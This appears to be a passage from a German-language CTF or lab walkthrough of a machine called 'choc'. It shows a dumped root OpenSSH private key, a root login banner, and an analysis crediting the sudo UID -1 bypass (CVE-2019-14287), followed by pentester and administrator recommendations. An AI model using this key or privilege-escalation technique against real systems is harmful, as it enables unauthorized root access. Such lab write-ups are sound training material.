qUmxvqJgfql+XzKg3JgNwHRpG3tcW8Rdxbb3owVR97kjZP+3kA/pQGrQKdFe893Q1u2oDa
4R+v+jsYmzwjf/1M8m/S+J0hYzTOI+kQlBnZmMvpJYDidmyG1RO3dcLCpxCQpydH7GfO/s
6j0DdCvDr6+8C4eAzgDE5irjdMh2dKySNveNiMuhzsv1PS33ZWgx/ITlxu9zwiuufQm6D5
TcDYKMGCSQAAA8DHBCmTxwQpkwAAAAdzc2gtcnNhAAABAQC5IyFHFeFah7HHJlY8rimSPJ
UeFPWMCZRh0SEoQUEtmH3P3dlbbkyWuPTfGMV3jM/kAAcQb2nmHlI2LeW0dO2aXs2Pn1eV
Xod6u79zBftjKTG7vm1lHHNBHgSNWpSbG+omB+qX5fMqDcmA3AdGkbe1xbxF3FtvejBVH3
uSNk/7eQD+lAatAp0V7z3dDW7agNrhH6/6OxibPCN//Uzyb9L4nSFjNM4j6RCUGdmYy+kl
gOJ2bIbVE7d1wsKnEJCnJ0fsZ87+zqPQN0K8Ovr7wLh4DOAMTmKuN0yHZ0rJI2942Iy6HO
y/U9LfdlaDH8hOXG73PCK659CboPlNwNgowYJJAAAAAwEAAQAAAQAQK31QlBymp4tjdXm6
uwtudlQf2HzJylxnXriip3Bl5xe1/A5r6epOj8Dza1pz4pyVsVrsmI6LRsKvcLrLVBscjI
MvtB8WMLdshNFn3nHia0qoty0e06lNWq3TGsI3+ewtfiuDMNZYKfQbiRwpkbiV67tR7rkd
t3JZPPKyBoRd1kGjnPzJc2DPyaAtJtS21w86ZxJZtaMWUL6SE1+80VWv0XXPtlmAipfdgF
76A/Z4izCNolx0s+Ptus8gqaxJDeGI4xX5aZZ33kc5cSvNjI2hH6kFX39sS7beVz/zYDKA
BkJ0fZpNQ+HZfqGvT93YHAFZVpdlv7ysn16oNkOwZuZxAAAAgQCs/OtmKQ2SXR0ZrVryDk
58HSK2xCRcMaOqNamWSm+JaKEusms25bCD3liQGbazJyy6eS7iR2DOQPYwdU94dak72X+W
xwOexz8pwHGflvrA7SlKW4pXshuccpxgdC/KkqZRQyQvy7NbDTyGM+3uTQSnABmZWl8mJa
NtfY+fCEoKDgAAAIEA5urQzWNxzvBa4krknAuUMRD8TcsL4NjE6QCj9D1KJh2vGiBqNYjH
f6hZ+4LPFlaWiusjxZAF6vIaZJU0UHRzdcITqm1L20CZQr2D3tgWS6+VAGQHb1me5uoC4J
6Px6A7preSEjS2GtECqWxZevl8YqWEJtWaO1WDK61+Mr266UsAAACBAM0/S7QUbRqSmNTq
wd/4y9U4JxtOfeV4O0I+JNlTPkA2vdUeHEwWkKRqk3re72JwYlUAsD4AhXO1oEdfpO32fx
wavKtBNMpI64CiNVrPY8w9DPoWdCzxtFeRq1V50i9wdiVlHIdn0Ac+6T9Wv/0v8J7GXIkH
gskjOtELMuhigHo7AAAACXJvb3RAY2hvYwE=
-----END OPENSSH PRIVATE KEY-----
##############################
# #
# Welcome to my SSH ! #
# Carl. #
# #
##############################
Linux choc 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Apr 22 20:20:23 2021
root@choc:~#
Analyse (sudo -u#-1 und Root-Login):
Bewertung (sudo -u#-1 und Root-Login): Fantastisch! Die Ausnutzung der `sudo` UID -1 Bypass-Schwachstelle hat es ermöglicht, beliebige Dateien als Root zu lesen, einschließlich des privaten SSH-Schlüssels von Root. Damit wurde die finale Privilegieneskalation erreicht und volle Systemkontrolle erlangt.
Empfehlung (Pentester): Sichern Sie die Root-Flag. Dokumentieren Sie die ausgenutzte `sudo`-Schwachstelle. Überprüfen Sie, ob die `sudo`-Version tatsächlich für CVE-2019-14287 anfällig ist oder ob eine andere Fehlkonfiguration dies ermöglicht hat.
Empfehlung (Admin): Patchen Sie `sudo` auf eine Version, die nicht für CVE-2019-14287 anfällig ist. Überprüfen Sie die `sudoers`-Konfiguration sorgfältig. Vermeiden Sie Konfigurationen, die es Benutzern erlauben, Befehle als `(ALL)` oder mit breiten Ausnahmen auszuführen. Wenn möglich, gewähren Sie `sudo`-Rechte nur für spezifische, notwendige Befehle und nicht für Befehle, die Dateiinhalte preisgeben können (wie `wall`, `cat`, `less` etc.), wenn sie als ein anderer Benutzer ausgeführt werden.